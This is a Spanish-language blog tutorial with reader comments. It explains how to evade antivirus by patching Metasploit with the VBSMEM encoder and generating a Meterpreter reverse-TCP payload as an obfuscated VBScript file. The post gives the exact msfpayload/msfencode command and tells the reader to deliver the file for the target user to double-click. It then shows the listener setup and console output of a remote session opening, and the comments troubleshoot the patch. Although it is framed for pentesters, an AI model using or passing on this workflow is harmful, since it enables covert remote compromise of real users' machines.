Inicio > Hacking, MetaSploit, Networking > Intentando evadir mecanismos y restricciones de Seguridad – Evadiendo Anti-Virus con Metasploit Framework usando VBSMEM – Parte VI

Intentando evadir mecanismos y restricciones de Seguridad – Evadiendo Anti-Virus con Metasploit Framework usando VBSMEM – Parte VI


VBSMEM es un encoder incluido en las versiones de MetaSploit FrameWork  superiores a la 3.8, nace de la necesidad de una solución al problema que se enfrentar los pentesters a la hora de generar payloads con msfpayload, codificarlos múltiples veces con msfencode para que al final, sean detectados por el AV en la maquina objetivo y no sea posible obtener una sesión meterpreter, lo que desde luego, es bastante frustrante. Se basa en la idea de que, los payloads con VBScript no son detectados por los AV actuales, esto ocurre, porque se ejecutan en memoria y no realizan ningún tipo de operación de escritura en disco, evidentemente el AV confiá en el contenido de una macro que se ejecute dentro de un programa de Microsoft Office (por ejemplo), esto se ha detallado hace unas cuantas entradas, para revisar dicha entrada ver aquí http://thehackerway.com/2012/02/13/intentando-evadir-anti-virus-usando-metasploit-framework-y-visual-basic-contra-plataformas-windows-parte-ii/ tomando este enfoque, se ha implementado el encoder VBSMEM, el cual escribe un shellcode en un fichero VBScript el cual utiliza una librería llamada Dynawrap.dll la cual ejecuta llamadas nativas del sistema operativo en concreto las funciones:

1. VirtualAlloc: Separar un espacio en memoria para la ejecución del shellcode.

2. WriteProcessMemory: Copiar el shellcode en el segmento de memoria separado.

3. CreateThread: Ejecutar el shellcode cargado en memoria.

Por lo demás, para el funcionamiento de este encoder, se utilizan las mismas técnicas de ofuscación para VBScript para ocultar el Shellcode actual de un software AV en la máquina objetivo, la ventaja de esto es que se crea un fichero ejecutable (.vbs) con las mismas características de ofuscación de un fichero en ms office con una macro maliciosa, por lo tanto no es detectable (al menos a día de hoy) por ningún AV del mercado. Los pasos a seguir para conseguir esto son los siguientes:

1. Si se utiliza la versión 3.8 de metasploit o inferior se debe descargar el patch correspondiente y aplicarlo, el patch se encuentra ubicado aquí: http://dev.metasploit.com/redmine/attachments/906/vbsmem-1.2.1.patch
El fichero en concreto que se debe parchar es <DIR_MSF>/lib/msf/util/exe.rb

/opt/metasploit3/msf3/lib/msf/util# patch <vbsmem-1.2.1.patch

patching file exe.rb

Hunk #1 succeeded at 813 (offset 80 lines).

Hunk #2 succeeded at 1668 (offset 80 lines).

Hunk #3 succeeded at 1693 (offset 80 lines).

patching file vbsmem.vbs

Ahora bien, después de aplicar el patch, se crea el fichero vbsmem.vbs que debe ser ubicado en el directorio <DIR_MSF>/data/templates esto es importante ya que el encoder buscará este fichero en dicha ruta.

NOTA: Después de ejecutar el patch, es necesario comprobar que el fichero vbsmem.vbs creando por el patch, es exactamente igual al que se encuentra en la página anteriormente mencionada, ya que se ha notado que en ocasiones se genera incorrectamente, por lo tanto es necesario comprobar y verificar que no existen diferencias entre el fichero y el listado que aparece en la página.

2. Ahora se puede ejecutar el comando msfpayload con la opción “-t vbsmem” de la siguiente forma

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 R | msfencode -t vbsmem > /opt/lampp/htdocs/vbsmem_generated.vbs

[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

3. El fichero generado se entrega al usuario de la máquina objetivo con el fin de que se ejecute dicho script, tan sencillo como realizar un doble click sobre dicho fichero para que se ejecute el payload, luego en la máquina del atacante, se debe establecer el Listener adecuado, en este caso el exploit/multi/handler para recibir la conexión reversa.

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.33

LHOST => 192.168.1.33

msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.33:4444

[*] Starting the payload handler…

[*] Sending stage (749056 bytes) to 192.168.1.38

[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.38:1197) at Sun May 29 01:06:06 +0200 2011

meterpreter > sysinfo

System Language : en_US

OS : Windows XP (Build 2600, Service Pack 3).

Computer : ANONYMOUS

Architecture : x86

Meterpreter : x86/win32

4. Finalmente, el objetivo de hacer un “bypass” del AV se ha conseguido, dado que desde la maquina objetivo, aunque se realice un escaneo del fichero, no se encontrara ningún tipo de amenaza, Este encoder como se ha mencionado antes, se encuentra disponible de forma definitiva en la versión estable 3.8 (o superior) de Metasploit, con lo cual solamente será necesario actualizar la versión de MSF a la actual.

Por otra parte, en el caso de que se encuentre establecido un Firewall en la máquina objetivo, es probable que bloquee la conexión por dicho puerto para la conexión reversa, en estos casos, podría ser útil emplear el payload reverse_tcp_allports explicado en la publicación anterior

  1. vekol
    febrero 26, 2012 en 12:00 am

    hola, tengo metasploit actualizado a la version 4.3.0 y no me sale el VBSMEM .¿que puedo hacer?
    Gracias

    • febrero 26, 2012 en 12:08 am

      Aplicar el parche, tal y como si indica en esta publicación

  2. vekol
    febrero 26, 2012 en 1:58 pm

    eso si, pero como pones “Este encoder como se ha mencionado antes, se encuentra disponible de forma definitiva en la versión estable 3.8 (o superior) de Metasploit, con lo cual solamente será necesario actualizar la versión de MSF a la actual”, y yo lo he actualizado hoy y no me sale, pensaba que me tenia que salir, o ¿quiza tengo que actualizarlo de otra forma?
    Gracias

    • febrero 26, 2012 en 2:12 pm

      Tienes razón, ha sido una errata en la publicación. En principio iba a estar disponible a partir de la versión 3.8, sin embargo su subida al repositorio de momento se encuentra “rechazada” por lo tanto hay que seguir aplicando el parche hasta que se desbloquee el hilo. Si te interesa puedes estar pendiente del estado de esta tarea en:

      https://dev.metasploit.com/redmine/issues/3894

      Un Saludo.

  3. vekol
    febrero 26, 2012 en 3:54 pm

    ok, estaré pendiente,
    Gracias por tu ayuda.

  4. sebas
    marzo 7, 2012 en 6:53 pm

    Esto se podria aplicar al firewall y av de windows 7??gracias

  5. naj
    abril 24, 2012 en 5:51 pm

    hola una pregunta a que se debera este error no me deja aplicar el parche ,me sale el siquiente error en consola. un saludo.

    atching file exe.rb
    Hunk #1 succeeded at 983 with fuzz 1 (offset 250 lines).
    Hunk #2 succeeded at 1935 with fuzz 2 (offset 347 lines).
    Hunk #3 FAILED at 1613.
    1 out of 3 hunks FAILED — saving rejects to file exe.rb.rej
    patching file vbsmem.vbs

  6. Danxs
    mayo 13, 2012 en 3:53 am

    atching file exe.rb
    Hunk #1 succeeded at 983 with fuzz 1 (offset 250 lines).
    Hunk #2 succeeded at 1935 with fuzz 2 (offset 347 lines).
    Hunk #3 FAILED at 1613.
    1 out of 3 hunks FAILED — saving rejects to file exe.rb.rej
    patching file vbsmem.vbs

    Tengo este el Mismo Problema que se puede hacer en ese caso?

    • blackrose
      junio 27, 2012 en 1:57 am

      Este error es muy comun a la hora de generar este tipo de ataque, la mejor solucion segun lo que pude investigar y garantizando su correcto funcionamiento, No es parchar el archivo exe.rb sino descargar el patch y luego abrirlo con un editor cono vim y empezar a agregarle funciones necesarias al archivo antes nombrado (exe.rb) y por ultimo generar el archivo vbsmem.vbs en la carpeta de /templates para luego generar el ataque, aunque aclaro que lo probre, este metodo ya es detectado por los antivirus como Avast. y haciendo un scaneo en novirusthanks. me lo detecto 4 de 14 antivirus, asi que ya no es tan poderoso como creo que pudo haber sido en sus inicios, un saludo.

  1. No trackbacks yet.

Deja un comentario

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.076 seguidores

A %d blogueros les gusta esto: